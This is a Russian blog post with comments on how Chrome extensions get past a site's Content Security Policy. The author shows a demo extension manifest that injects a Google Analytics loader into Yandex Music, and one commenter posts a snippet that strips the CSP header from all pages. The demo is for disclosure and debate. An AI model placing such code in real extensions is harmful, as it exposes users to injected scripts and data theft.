Не так давно настроил я на своем проекте CSP (content security policy), и решил что жизнь удалась. Ведь теперь невозможно подгрузить скрипты с запрещенных ресурсов, и даже о попытке сделать это, я буду уведомлен соответствующей ошибкой. А если кто-то и подгрузить скрипт, то все равно ничего не сможет передать, ведь ajax запросы отправляются только на мои сервера.

Так я подумал, и был какое-то время спокоен.

А еще я использовал расширение HTTP Headers, которое помогало мне просматривать заголовки ответов сервера в удобном виде. В один прекрасный день, я увидел на своих ресурсах рекламу, которой там никогда не было. Немного просмотрев код и поэкспериментировав, я понял, что именно это расширение добавляло рекламу на все сайты, которые я посещаю. Код расширения, к сожалению, я не скопировал вовремя, и на данный момент оно уже удалено из магазина расширений с пометкой “ содержит вредоносное ПО”. С этого и начну свой рассказ.

Мне стало очень интересно, как так, ведь у меня есть четкие правила для браузера о политике загрузки скриптов и отправки данных с моей страницы, а тут я вижу, что настройки безопасности ну очень слабо повышают безопасность пользователей, если они пользуются расширениями для браузера (в данном случае конкретно Google Chrome). Поэтому я решил воссоздать такое расширение, которое смогло бы загружать скрипты с удаленного сервера в обход CSP.

Писать расширения для браузера не очень сложно, об этом было много статей, в частности и от Google , поэтому я не буду останавливаться более подробно на самом написании расширения.

В качестве примера, был выбран сайт Яндекс музыка по нескольким причинам:

  • У них есть CSP
  • У них достаточно мощные сервера чтобы выдержать всех “кому интересно посмотреть”;
  • У них не до конца настроен CSP (на момент написания статьи у них стоит content security policy report only, поэтому я смогу увидеть все сообщения об ошибках о некорректном контенте, но самой блокировки происходить не будет)

Собираем зловредное расширение (готовую версию вы можете посмотреть на GitHub):

1. Файл manifest.json


{
 "manifest_version": 2,


 "name": "CSP vulnerability",
 "description": "This is just an example, please do not use it.",
 "version": "1.0",


 "browser_action": {
   "default_icon": "evil.png",
   "default_popup": "popup.html"
 },
 "content_scripts": [
   {
     "matches": [ "https://music.yandex.ua/*" ],
     "js": [ "evil.js" ],
     "run_at": "document_end"
   }
 ],
 "permissions": [
   "activeTab",
   "https://music.yandex.ua/*"
 ]
}

2. Создать сам «зловредный» скрипт


Внимательно просмотрев, откуда яндекс разрешает загрузить скрипты

"script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .

Я решил что в этом списке явно не хватает гугл-аналитики, поэтому в качестве “зловредного” подгружаемого скрипта, я выбираю https://google-analytics.com/analytics.js, тем более что многие называют Google — “корпорацией добра”. Такой выбор обусловлен следующими критериями:

  1. Подключаемый скрипт никому не навредит.
  2. Он точно работает.
  3. Он будет пытаться сделать ajax запросы.
  4. Его смогут подключить все, кто захочет

В этом есть еще один бонус, т.к. я смогу подгруженным скриптом симулировать запросы без поднятия своего сервера и дополнительного кода (разумеется, гугл аналитика не даст посмотреть собранную информацию если я не владелец сайта, но я и не преследовал цель собрать какую то информацию, только демонстрация обхода блокировок).

Скрипт беру стандартный, из мануала, только номер счетчика придумываю из головы:

(function (i, s, o, g, r, a, m) {
   i['GoogleAnalyticsObject'] = r;
   i[r] = i[r] || function () {
           (i[r].q = i[r].q || []).push(arguments)
       }, i[r].l = 1 * new Date();
   a = s.createElement(o),
       m = s.getElementsByTagName(o)[0];
   a.async = 1;
   a.src = g;
   m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');


ga('create', 'UA-00000000-0', 'auto');
ga('send', 'pageview');

Для начала, пробую выполнить этот скрипт из консоли, чтобы проверить, а работает ли вообще CSP на этом сайте, и вижу следующее:

VM636:10 [Report Only] Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".

Теперь попробую добавить все то же самое в расширение, и вот, все работает. Скрипт успешно добавлен на страницу, не сгенерировав ни единой ошибки.

Выводы


Да, многие скажут что выбор расширений это личное дело каждого, да и гугл более или менее оперативно заблокировал расширение (в течении недели с того момента как я сам понял, что оно спамит меня рекламой).

С другой стороны, непонятно сколько оно было вредоносным. Я поясню почему именно вредоносное: добавлялась реклама сомнительных товаров, со ссылками на еще более сомнительные сайты, к тому же, мне к сожалению неизвестно, собирало ли расширение какие-то данные о посещенных мною страницах, и если собирало, то какие, ведь с тем же успехом они могли собирать информацию из форм или просто из посещаемых мною страниц.

Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?
Поделиться с друзьями
-->

Комментарии (25)


  1. Mihail57
    18.11.2016 18:04
    +2

    Мне кажется, или при внедрении такой политики безопасности, уйдут в историю некоторые блокираторы рекламы? Так же что делать с локальными файлами, подключаемыми расширениями?


    1. bnytiki
      18.11.2016 20:36

      Блокираторы рекламы работают прежде всего для той рекламы, которую ставят владельцы сайтов.
      Сами владельцы сайтов…


    1. Nidhognit
      18.11.2016 20:39

      Я не против если на странице что то блокируется, но вот добавлять новое без ведома владельца, или тем более передавать с нее данные, если владелец на прямую запрещает, уже немного нарушает безопасность. Разумеется по моему мнению.


      1. Fenex
        19.11.2016 04:18
        +1

        Сомневаюсь, что можно придумать какую-нибудь реализацию политики работы расширений, с помощью которой можно было бы только удалять информацию со страницы сайта, но не добавлять. Что-то вроде такой ситуации: appendChild не доступен, зато removeChild — пожалуйста. Да и вообще, попахивает бредом немножко: вся суть расширений сведётся на нет :)

        И потом, у расширений есть страница background, которая вообще не имеет никакого отношения к открытым страницам в браузере. Зато эта фоновая страница имеет доступ к скриптам content_script (и наоборот). Через фоновую страницу можно сделать любой ajax-запрос, а потом переслать информацию в content_script, который имеет доступ к необходимой странице (в частности, к DOM). В этом случае мы де-факто политику безопасности не нарушаем: с самой страницы никаких запросов не идёт.

        Контроль расширений идёт именно при установке: выдача прав (указанных в «permissions») конечным пользователем.


      1. dj_raphael
        21.11.2016 14:59

        Если запретят, я перейду на другой браузер. браузер мой и я могу делать со скаченым контентом всё что хочу.


  1. alexey-m-ukolov
    18.11.2016 18:13
    +12

    Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?
    Я не согласен — если я поставил расширение, которое что-то делает со страницей, я не хочу, чтобы эта страница говорила мне что я могу делать, а что нет. Это мой браузер, я в нём царь и бог и никакие CSP мне не указ.

    Вопрос с чистоплотностью создателей расширений, разумеется, остаётся открытым.


  1. MikeKosulin
    18.11.2016 20:37

    Я поясню почему именно вредоносное: добавлялась реклама сомнительных товаров, со ссылками на еще более сомнительные сайты, к тому же, мне к сожалению неизвестно, собирало ли расширение какие-то данные о посещенных мною страницах, и если собирало, то какие, ведь с тем же успехом они могли собирать информацию из форм или просто из посещаемых мною страниц.


    так написано, будто речь про Яндекс.Советник


  1. plartem
    18.11.2016 20:37
    +1

    Сейчас на руках нету примера кода, но вообще расширения хрома могут не только просматривать хедеры, но так же редактировать их любым образом(т.е. CSP хедер можно просто удалить)


    1. Nidhognit
      18.11.2016 20:39

      Интересная информация, нужно будет попробовать


      1. plartem
        19.11.2016 01:52

        https://developer.chrome.com/extensions/webRequest — документация по входящим/исходящим хедерам
        Пример удаления csp:

        chrome.webRequest.onHeadersReceived.addListener(function(details) {	
          for (var i = 0; i < details.responseHeaders.length; i++) {
            if ('content-security-policy' === details.responseHeaders[i].name.toLowerCase()) {
              details.responseHeaders[i].value = '';
            }
          }
          return {
            responseHeaders: details.responseHeaders
          };
        }, {  urls: ["*://*/*"], types: ["main_frame", "sub_frame"]}, ["blocking", "responseHeaders"]);
        


        1. yarkov
          20.11.2016 17:48

          Хм… Спасибо за пример. Пока надобности не было, но в Gist сохраню.


    1. yarkov
      19.11.2016 18:32

      Если память не изменяет, то можно модифицировать хэдеры запроса браузера, но не ответа от сервера.
      Тот же AdBlock, вроде как, перехватывает запрос и если срабатывает фильтр, то блокирует его.
      Хотя могу ошибаться, ибо глубоко не копал.


    1. darth_dolphi
      19.11.2016 18:33

      Или подменить, например для нашего аппа это необходимо что бы заблочить весь js-код и отменить загрузку js- файлов, кроме тех что мы сами добавим, но у нас не расширение а app. Страница на которой подменяются хэдеры лежит в webview и от аппа изолирована.


  1. vadim_kudr
    18.11.2016 20:37

    яндекс советник обходит csp для показа своих предложений. вставляет div c ссылкой. если политики лояльные, то к диву js добавляется. еще не все его запросы в network отображаются.


  1. pansa
    18.11.2016 21:46

    Наличие unsafe eval в директивах CSP в принципе сводит на нет всю идею.


  1. vikarti
    19.11.2016 08:31

    >Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?

    И как тогда должен работать например Evernote WebClipper? Он же правит DOM (для выделения, для показа своих меню) (запускается правда только по команде пользователя)

    Или например — разнообразные расширения для скачивания видео? (или это прикроем под видом того что если бы владелец сайта хотел — он бы разрешил? )

    Браузер у нас собственно на чьем железе и в интересах кого работает? Пользователя. И если пользователь поставил расширение которое нарушает CSP… ну значит так надо.
    Вот предупреждение при установке что расширение может делать и это (так же как в Хроме расширения пишут например что нужен доступ к сайту X или вообще ко всем сайтам) может быть и имеет смысл.
    И разумеется ситуации когда расширение ставится без ведома и желания пользователя надо давить. (то что пользователь не заметил замаскированной галочки — это не согласие).


    1. Nidhognit
      19.11.2016 18:34

      Соглашусь. Было бы не плохо видеть все доступы расширений, как, допустим, при установке приложений на телефоне. + если приложение меняет свои права, не обновлять его по умолчанию, а отключать, и ждать ответа пользователя.


  1. Aingis
    19.11.2016 12:24
    +2

    Надо сказать, что расширения очень удобны для проверки работы того же CSP. Например, есть расширение CSP Tester https://oxdef.info/csp-tester-announcement/ авторства безопасника Яндекса.* Опять же CSP может мешать функциональности расширения. CSP — это главным образом защита от случайного XSS. А те же вредоносы могут перехватывать передачу данных и на уровне сетевого соединения.

    * Пользуюсь случаем, передаю привет ТМ, которые считают, что читатели Хабра — люди второго сорта, которые должны страдать от некликабельных ссылок.


    1. Lure_of_Chaos
      19.11.2016 14:20

      * Пользуюсь случаем, передаю привет ТМ, которые считают, что читатели Хабра — люди второго сорта, которые должны страдать от некликабельных ссылок.

      так «оберегаются» пользователи от потенциальных троллей.


      1. ColdPhoenix
        19.11.2016 17:11

        я ссылка
        разметка для кого существует?(промазал уровнем)


        1. Aingis
          19.11.2016 19:46
          +1

          Разметка существует не для читателей, у которых карма долгое время только уменьшалась.

          P.S. Интересно, что суть комментария Lure_of_Chaos существенно изменилась после моего комментария ниже. Привет от НЛО, у которого нет денег на модерацию, судя по всему.


  1. Aingis
    19.11.2016 16:00
    +1

    Lure_of_Chaos, У вас карма больше нуля. Можете кликнуть по ссылке? То-то и оно. (Промахнулся веткой.)


    1. Lure_of_Chaos
      20.11.2016 16:04

      Логика ТМ в другом — если карма ниже нуля, то чел нехороший и скорее всего, даст нехорошую ссылку, по которой кликать лучше не надо даже случайно, а если очень надо — то можно выделить и вставить ручками.
      Но, как правило, отрицательная карма не у троллей, а просто у тех многих, чье мнение не совпадает с мнением «избранных», причем достаточно одного необдуманного комментария, чтобы карма улетело в неподъемный минус. Следовательно, хорошо бы ТМ пересмотреть еще раз вопросы кармы и возможностей форматирования при ее «задолженности».


  1. Nyxem
    19.11.2016 18:36

    На самом деле, все довольно очевидно. Эта самая политика, если не ошибаюсь, нужна только для того, чтобы ограничивать поведение подключаемых скриптов. Допустим, если вы подключите какую-то библиотеку, то при правильной настройке CSP вам можно будет не беспокоиться, что эта библиотека будет творить какие-нибудь гадости, например, засыпать HTTP-запросами сайт человека, которого невзлюбил автор библиотеки.

    Расширения для браузеров стоят уровнем выше. Дело в том, что когда вы устанавливаете расширение, вам говорят, что оно может читать и модифицировать контент страницы https://music.yandex.ua/*. Это правило абсолютно, оно позволяет даже обходить CORS. Соглашаясь с этим, вы должны осознавать последствия, которые могут быть, если разработчик расширения внезапно лишится совести.


  1. Rampages
    19.11.2016 21:45

    Например всякие savefrom net, который до сих пор можно установить (но не из каталога расширений, а с сайта разработчика), на сайтах магазинов и всяких яндекс.маркетов наверху страницы вставляет блок с таргетированной рекламой и предложением купить этот же товар на eBay или еще где, по более низкой цене.

    Да и в каталоге расширений, если поискать то можно найти много расширений, которые что-то непонятное делают с браузером, особенно это касается расширений с играми (всякие моды для браузерных игр).